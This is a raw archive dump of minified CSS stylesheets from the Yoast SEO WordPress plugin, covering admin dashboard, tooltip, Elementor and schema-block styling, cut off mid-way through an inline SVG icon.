button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover{box-shadow:none;color:#007cba}.schema-faq-section-controls-container,.schema-how-to-step-controls-container{margin-right:-28px;text-align:left}.schema-faq-section-controls-container .dashicons-arrow-up-alt2,.schema-how-to-step-controls-container .dashicons-arrow-up-alt2{position:relative;top:-1px}.faq-section-add-media .dashicon,.how-to-step-add-media .dashicon,.schema-faq-add-question .dashicon,.schema-how-to-add-step .dashicon,.schema-how-to-duration-button .dashicon{margin-left:4px}.schema-how-to{padding-top:4px}.schema-how-to-step-number{right:4px;position:absolute;text-align:left;width:24px}.schema-how-to-duration{border:0;margin:0;padding:0}.schema-how-to-duration-flex-container{align-items:center;display:flex}.schema-how-to-duration-time-input{align-items:center;display:inline-flex;flex-wrap:nowrap}legend.schema-how-to-duration-legend{margin-left:4px}#schema-how-to-duration-days{margin-left:8px}.schema-how-to-duration .schema-how-to-duration-input[type=number]{-moz-appearance:textfield;margin:0 2px;padding:6px 4px;text-align:center;width:40px}.schema-how-to-duration .schema-how-to-duration-input[type=number]::-webkit-inner-spin-button,.schema-how-to-duration .schema-how-to-duration-input[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.schema-how-to-duration-button.components-icon-button{margin-right:-8px;vertical-align:top}.schema-how-to-duration-button.components-icon-button:not(:disabled):not([aria-disabled=true]):not(.is-default):hover{box-shadow:none;color:#007cba}.schema-how-to-description{margin:8px 0}body.is-dark-theme .schema-faq-section-mover button.components-button,body.is-dark-theme .schema-how-to-step-mover button.components-button,body.is-dark-theme button.components-button.schema-faq-add-question,body.is-dark-theme button.components-button.schema-faq-section-button,body.is-dark-theme button.components-button.schema-how-to-add-step,body.is-dark-theme button.components-button.schema-how-to-duration-button,body.is-dark-theme button.components-button.schema-how-to-step-button{color:#e8eaed}wordpress-seo/css/dist/featured-image-2420-rtl.css000064400000000214147510273070015673 0ustar00#yst_opengraph_image_warning{margin-top:0}.yoast-opengraph-image-notice #set-post-thumbnail>img{box-shadow:0 0 0 2px #fff,0 0 0 5px #dc3232}wordpress-seo/css/dist/first-time-configuration-2420-rtl.css000064400000005070147510273070017751 0ustar00#yoast-configuration .yst-input{--tw-bg-opacity:1!important;--tw-shadow:0 1px 2px 0 #0000000d!important;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color)!important;background-color:rgb(255 255 255/var(--tw-bg-opacity))!important;border-radius:.375rem!important;border-width:1px!important;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)!important;font-size:.8125rem!important;padding:.5rem .75rem!important}#yoast-configuration .yst-radio{align-items:center!important;display:flex!important}#yoast-configuration .yst-radio__input{--tw-border-opacity:1!important;--tw-text-opacity:1!important;--tw-shadow:0 0 #0000!important;--tw-shadow-colored:0 0 #0000!important;-webkit-appearance:none!important;appearance:none!important;border-color:rgb(209 213 219/var(--tw-border-opacity))!important;border-radius:9999px!important;border-width:1px!important;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)!important;color:rgb(166 30 105/var(--tw-text-opacity))!important;height:1rem!important;margin:0!important;transition-property:none!important;width:1rem!important}#yoast-configuration .yst-radio__input:before{content:var(--tw-content)!important;display:none!important}#yoast-configuration .yst-radio__input:checked{--tw-border-opacity:1!important;border-color:rgb(166 30 105/var(--tw-border-opacity))!important;border-width:5px!important}#yoast-configuration .yst-radio__input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)!important;--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color)!important;--tw-ring-opacity:1!important;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))!important;--tw-ring-offset-width:2px!important;--tw-ring-offset-color:#fff!important;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)!important;outline:2px solid #0000!important;outline-offset:2px!important}#yoast-configuration .yst-radio__label{--tw-text-opacity:1!important;color:rgb(55 65 81/var(--tw-text-opacity))!important;font-weight:500!important;margin-right:.75rem!important}#yoast-configuration .yst-radio-group__label{margin-bottom:.25rem!important}#yoast-configuration .yst-radio-group__options{display:flex!important;flex-direction:column!important;gap:.5rem!important}#yoast-configuration .yst-radio-group__description{margin-bottom:1rem!important}#yoast-configuration .yst-checkbox__input:before{--tw-content:none!important;content:var(--tw-content)!important}wordpress-seo/css/dist/academy-2420-rtl.css000064400000000675147510273070014432 0ustar00.seo_page_wpseo_page_academy{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}.seo_page_wpseo_page_academy #wpcontent{padding-right:0!important}.seo_page_wpseo_page_academy #wpfooter{padding-left:1rem}@media (min-width:768px){.seo_page_wpseo_page_academy #wpfooter{padding-right:17rem;padding-left:2rem}}@media screen and (max-width:782px){.seo_page_wpseo_page_academy .wp-responsive-open #wpbody{left:-190px}}wordpress-seo/css/dist/edit-page-2420.css000064400000001123147510273070014054 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 10px 0 3px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}@media screen and (max-width:782px){.wpseo-score-icon{margin-left:0!important;margin-right:0}.wpseo-score-icon .wpseo-score-text{display:none}.wpseo-cornerstone svg{margin-left:-4px}}wordpress-seo/css/dist/general-page-2420.css000064400000017443147510273070014560 0ustar00body.toplevel_page_wpseo_dashboard .notice,body.toplevel_page_wpseo_dashboard .yoast-migrated-notice{display:none}body.toplevel_page_wpseo_dashboard .yoast-general-page-notices:last-child{margin-bottom:2rem}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice,body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard{--tw-border-opacity:1;--tw-shadow:0 4px 6px -1px #0000001a,0 2px 4px -2px #0000001a;--tw-shadow-colored:0 4px 6px -1px var(--tw-shadow-color),0 2px 4px -2px var(--tw-shadow-color);background:#fff;border-color:rgb(224 179 204/var(--tw-border-opacity));border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);padding:.75rem}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:17px;margin-right:12px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:17px}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-dismiss{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));position:relative}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-dismiss:hover{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-dismiss:before,body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-yoast img{display:none}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice a{font-weight:500}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard{margin-bottom:.8rem;margin-top:0}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-dismiss:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='2' stroke='%2394A3B8' class='yst-h-5 yst-w-5'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' d='M6 18 18 6M6 6l12 12'/%3E%3C/svg%3E");content:""}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-dismiss:hover:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='2' stroke='%2364748b' class='yst-h-5 yst-w-5'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' d='M6 18 18 6M6 6l12 12'/%3E%3C/svg%3E");content:""}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard p{padding-left:1.8rem}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .yoast-icon{height:17px;margin-right:12px;width:17px}body.toplevel_page_wpseo_dashboard .yoast-notice-migrated-header{color:#1e293b;font-size:.8125rem;font-weight:500;line-height:19px}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard a{font-weight:500}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-yoast__container{padding:0}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-dismiss{padding:.75rem}body.toplevel_page_wpseo_dashboard .notice-yoast__header{margin-bottom:.25rem}body.toplevel_page_wpseo_dashboard{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}body.toplevel_page_wpseo_dashboard #wpcontent{padding-left:0!important}body.toplevel_page_wpseo_dashboard #wpfooter{padding-right:1rem}@media (min-width:768px){body.toplevel_page_wpseo_dashboard #wpfooter{padding-left:17rem;padding-right:2rem}}@media screen and (max-width:782px){body.toplevel_page_wpseo_dashboard .wp-responsive-open #wpbody{right:-190px}}body.toplevel_page_wpseo_dashboard #modal-search .yst-modal__close{margin-top:-.25rem}@media (min-width:783px) and (max-width:962px){body.toplevel_page_wpseo_dashboard.sticky-menu .yst-root .yst-notifications--bottom-left{left:calc(160px + 2rem)}}@media (min-width:783px) and (max-width:963px){body.toplevel_page_wpseo_dashboard.sticky-menu.auto-fold .yst-root .yst-notifications--bottom-left,body.toplevel_page_wpseo_dashboard.sticky-menu.folded .yst-root .yst-notifications--bottom-left{left:calc(32px + 2rem)}}@media (min-width:962px){body.toplevel_page_wpseo_dashboard.sticky-menu.folded .yst-root .yst-notifications--bottom-left{left:calc(32px + 2rem)}}@media (max-width:783px){body.toplevel_page_wpseo_dashboard:not(.sticky-menu) .wp-responsive-open .yst-root .yst-notifications--bottom-left{left:calc(190px + 2rem)}}@media (min-width:601px) and (max-width:768px){body.toplevel_page_wpseo_dashboard .yst-root .yst-mobile-navigation__top{top:46px}}@media (min-width:783px){body.toplevel_page_wpseo_dashboard .yst-root .yst-mobile-navigation__top{display:none}}body.toplevel_page_wpseo_dashboard .yst-root .yst-mobile-navigation__dialog{z-index:99999}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);align-items:center;border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);cursor:pointer;display:inline-flex;font-size:.8125rem;font-weight:500;line-height:1.25rem;padding:.5rem .75rem;text-align:center;-webkit-text-decoration-line:none;text-decoration-line:none}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button:disabled{cursor:not-allowed;opacity:.5;pointer-events:none}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button:hover{--tw-bg-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity))}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button{font-size:.75rem;line-height:1rem;margin-bottom:unset;margin-top:.75rem;min-height:unset;padding:.375rem .625rem;vertical-align:unset;white-space:normal}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link{--tw-text-opacity:1;color:rgb(79 70 229/var(--tw-text-opacity));cursor:pointer;-webkit-text-decoration-line:underline;text-decoration-line:underline}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:visited{color:#a61e69}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:hover{--tw-text-opacity:1;color:rgb(99 102 241/var(--tw-text-opacity))}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:hover:visited{color:#b94986}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:focus{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(79 70 229/var(--tw-ring-opacity));--tw-ring-offset-width:1px;--tw-ring-offset-color:#0000;border-radius:.125rem;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(99 102 241/var(--tw-text-opacity));outline:2px solid #0000;outline-offset:2px}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .ul-disc{list-style-type:disc;margin-left:.75rem;margin-top:.375rem;padding-left:.75rem}body.toplevel_page_wpseo_dashboard.rtl .yst-root .yst-replacevar .emoji-select-popover{left:0;right:auto}wordpress-seo/css/dist/elementor-2420.css000064400000011277147510273070014222 0ustar00:root{--yoast-elementor-color-paragraph:#555d66}.yoast,.yoast h2,.yoast h3{font-family:var(--yoast-font-family)!important}.yoast h2{color:var(--yoast-color-dark);font-size:1.3em;font-weight:var(--yoast-font-weight-bold);margin-bottom:1em}.yoast input,.yoast input:focus,.yoast label,.yoast select:focus,.yoast select:not(:focus){background-color:#0000;border-color:var(--yoast-color-secondary-darker);color:var(--yoast-color-font-default)}.yoast label{color:var(--yoast-color-label)}.yoast input[disabled]{background-color:var(--yoast-color-inactive-grey-light)}.yoast.components-panel__body .yoast-title{font-weight:500}.yoast-field-group__title b{font-weight:var(--yoast-font-weight-bold)}.yoast h3 span>span{font-weight:400}.elementor-tab-control-yoast-seo-tab span:before,.yoast-element-menu-icon:before{background-color:currentColor;content:" ";height:16px;margin:0 auto;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:16px}.yoast-element-menu-icon{display:inline-flex}.yoast-element-menu-icon:before{height:19px;width:19px}.yoast-elementor-panel__fills{-webkit-font-smoothing:subpixel-antialiased;background-color:var(--yoast-color-white);color:var(--yoast-color-dark)}.yoast li,.yoast p,.yoast small{line-height:1.5;margin-bottom:6px}.yoast p,.yoast small,.yoast ul[role=list] li{color:var(--yoast-elementor-color-paragraph)}.button-link,.yoast a,.yoast a p,.yoast-elementor-panel__fills p a{color:var(--yoast-color-link);text-decoration:underline}.yoast a.dashicons{color:var(--yoast-color-inactive-text);height:24px;vertical-align:text-bottom;width:24px}.button-link{background:none;border:none;cursor:pointer;font-size:1em;line-height:1.5}.yoast .yoast-button-upsell,.yoast-elementor-panel__fills .UpsellLinkButton{color:var(--yoast-color-label);line-height:1.4em;text-decoration:none}.yoast-elementor-panel__fills h3>button{background:none;border:none;box-shadow:none}.yoast-gutenberg-modal .yoast-notice-container>hr{border-top-color:#ddd;border-top-style:solid}.yoast-gutenberg-modal input[type=radio]{-webkit-appearance:none;-moz-appearance:none;border:var(--yoast-border-default);border-radius:50%;box-shadow:inset 0 2px 4px #0000001a;cursor:pointer;height:18px;margin:0 8px 0 0;overflow:hidden;padding:2px;position:relative;transition:all .15s ease-out 0s;vertical-align:text-bottom;width:18px}.yoast-gutenberg-modal input[type=radio]:checked{background-color:inherit;border-color:var(--yoast-color-primary)}.yoast-gutenberg-modal input[type=radio]:checked:after{background:var(--yoast-color-primary);border-radius:50%;content:"";display:block;height:10px;left:3px;position:absolute;top:3px;width:10px}.yoast-post-settings-modal .yoast-notice-container{bottom:auto}.yoast-gutenberg-modal .components-popover.components-tooltip{left:unset!important;position:relative;right:40px;top:15px!important}.yoast div:focus,div.yoast:focus{outline:0}.yoast .button-link:focus,.yoast a:focus{box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc;color:#124964;outline:1px solid #0000}.yoast a.dashicons:focus{color:#1e8cbe}.yoast input[type=radio]:checked:focus{border-color:#fff;box-shadow:var(--yoast-color-focus)}.yoast .yoast-button-upsell:focus{box-shadow:inset 0 -4px 0 #0003,0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc;color:#000}.yoast-elementor-introduction{background-color:#fff;box-shadow:var(--yoast-shadow-default);padding:20px;position:absolute!important;text-align:left;z-index:1}#yoast-introduction{border-radius:3px;left:41px!important;top:5px!important}#yoast-introduction-editor-v2{border:1px solid #000;border-radius:8px}.yoast-elementor-introduction:before{border:solid #0000;content:"";position:absolute}#yoast-introduction:before{border-bottom-color:#fff;border-width:7px 5px;left:-12px;top:8px;transform:rotate(-90deg)}#yoast-introduction-editor-v2:before{border-bottom-color:#000;border-width:10px 8px;left:var(--yoast-elementor-introduction-arrow,28%);top:-20px}.yoast-elementor-introduction>div{color:var(--yoast-color-default)}.yoast-elementor-introduction>.dialog-header{font-weight:var(--yoast-font-weight-bold);line-height:1.3}.yoast-elementor-introduction>.dialog-message{margin-top:.5em}.yoast-elementor-introduction>.dialog-buttons-wrapper{display:flex;justify-content:flex-end;margin-top:12px}#yoast-introduction .dialog-button,#yoast-introduction-editor-v2 .dialog-button{background-color:var(--yoast-color-primary);font-size:12px;padding:7px 17px}@media(hover:hover){.button-link:hover,.yoast a:hover,.yoast a:hover p,.yoast-elementor-panel__fills p a:hover{color:var(--yoast-color-primary-darker)}.yoast a.dashicons:hover{color:var(--yoast-color-link)}.yoast .yoast-button-upsell:hover,.yoast-elementor-panel__fills .UpsellLinkButton:hover{color:var(--yoast-color-label)}}wordpress-seo/css/dist/tooltips-2420-rtl.css000064400000007133147510273070014700 0ustar00.yoast-tooltip{position:relative}button.yoast-tooltip{overflow:visible}.yoast-tooltip:after{word-wrap:break-word;-webkit-font-smoothing:subpixel-antialiased;background:#000c;border-radius:3px;color:#fff;content:attr(aria-label);display:none;font:normal normal 11px/1.45454545 Helvetica,arial,nimbussansl,liberationsans,freesans,clean,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;letter-spacing:normal;opacity:0;padding:6px 8px 5px;pointer-events:none;position:absolute;text-align:center;text-decoration:none;text-shadow:none;text-transform:none;white-space:pre;z-index:1000000}.yoast-tooltip-alt:after{content:attr(data-label)}.yoast-tooltip:before{border:5px solid #0000;color:#000c;content:"\00a0";display:none;height:0;opacity:0;pointer-events:none;position:absolute;width:0;z-index:1000001}@keyframes yoast-tooltip-appear{0%{opacity:0}to{opacity:1}}.yoast-tooltip:active:after,.yoast-tooltip:active:before,.yoast-tooltip:focus:after,.yoast-tooltip:focus:before,.yoast-tooltip:hover:after,.yoast-tooltip:hover:before{animation-duration:.1s;animation-fill-mode:forwards;animation-name:yoast-tooltip-appear;animation-timing-function:ease-in;display:inline-block;text-decoration:none}.yoast-tooltip-no-delay:active:after,.yoast-tooltip-no-delay:active:before,.yoast-tooltip-no-delay:focus:after,.yoast-tooltip-no-delay:focus:before,.yoast-tooltip-no-delay:hover:after,.yoast-tooltip-no-delay:hover:before{animation:none;opacity:1}.yoast-tooltip-multiline:active:after,.yoast-tooltip-multiline:focus:after,.yoast-tooltip-multiline:hover:after{display:table-cell}.yoast-tooltip-s:after,.yoast-tooltip-se:after,.yoast-tooltip-sw:after{margin-top:5px;left:50%;top:100%}.yoast-tooltip-s:before,.yoast-tooltip-se:before,.yoast-tooltip-sw:before{border-bottom-color:#000c;bottom:-5px;margin-left:-5px;left:50%;top:auto}.yoast-tooltip-se:after{right:50%;margin-right:-15px;left:auto}.yoast-tooltip-sw:after{margin-left:-15px}.yoast-tooltip-n:after,.yoast-tooltip-ne:after,.yoast-tooltip-nw:after{bottom:100%;margin-bottom:5px;left:50%}.yoast-tooltip-n:before,.yoast-tooltip-ne:before,.yoast-tooltip-nw:before{border-top-color:#000c;bottom:auto;margin-left:-5px;left:50%;top:-5px}.yoast-tooltip-ne:after{right:50%;margin-right:-15px;left:auto}.yoast-tooltip-nw:after{margin-left:-15px}.yoast-tooltip-n:after,.yoast-tooltip-s:after{transform:translateX(-50%)}.yoast-tooltip-w:after{bottom:50%;margin-left:5px;left:100%;transform:translateY(50%)}.yoast-tooltip-w:before{border-right-color:#000c;bottom:50%;right:-5px;margin-top:-5px;top:50%}.yoast-tooltip-e:after{bottom:50%;right:100%;margin-right:5px;transform:translateY(50%)}.yoast-tooltip-e:before{border-left-color:#000c;bottom:50%;margin-top:-5px;left:-5px;top:50%}.yoast-tooltip-multiline:after{word-wrap:normal;border-collapse:initial;max-width:250px;white-space:pre-line;width:250px;width:max-content;word-break:break-word}.yoast-tooltip-multiline.yoast-tooltip-n:after,.yoast-tooltip-multiline.yoast-tooltip-s:after{right:50%;left:auto;transform:translateX(50%)}.yoast-tooltip-multiline.yoast-tooltip-e:after,.yoast-tooltip-multiline.yoast-tooltip-w:after{left:100%}@media screen and (min-width:0\0){.yoast-tooltip-multiline:after{width:250px}}.yoast-tooltip-sticky:after,.yoast-tooltip-sticky:before{display:inline-block}.yoast-tooltip-sticky.yoast-tooltip-multiline:after{display:table-cell}@media only screen and (-moz-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2),only screen and (min-resolution:192dpi),only screen and (min-resolution:2dppx){.yoast-tooltip-w:after{margin-left:4.5px}}.yoast-tooltip.yoast-tooltip-hidden:after,.yoast-tooltip.yoast-tooltip-hidden:before{display:none}wordpress-seo/css/dist/dashboard-2420.css000064400000001746147510273070014157 0ustar00#yoast-seo-dashboard-widget h3{font-weight:700}#yoast-seo-dashboard-widget .assessments,#yoast-seo-dashboard-widget .score-assessments{padding-left:0}#yoast-seo-dashboard-widget .wordpress-feed{border-top:1px solid #eee;margin:16px -12px 0;padding:12px 12px 0}#yoast-seo-dashboard-widget .wordpress-feed .wordpress-feed__post{margin-top:12px}#yoast-seo-dashboard-widget .wordpress-feed .wordpress-feed__footer{border-top:1px solid #eee;margin:0 -12px;padding:4px 12px 0}#yoast-seo-dashboard-widget:empty:before,#yoast-seo-wincher-dashboard-widget:empty:before{animation:rotate 2s linear infinite;background-image:url(../../packages/js/images/Yoast_SEO_Icon.svg);content:"";display:block;height:40px;margin:25px auto;width:40px}@keyframes rotate{0%{transform:perspective(120px) rotateX(0deg) rotateY(0deg);-webkit-transform:perspective(120px) rotateX(0deg) rotateY(0deg)}to{transform:perspective(120px) rotateX(0deg) rotateY(1turn);-webkit-transform:perspective(120px) rotateX(0deg) rotateY(1turn)}}wordpress-seo/css/dist/admin-global-2420.css000064400000063231147510273070014553 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 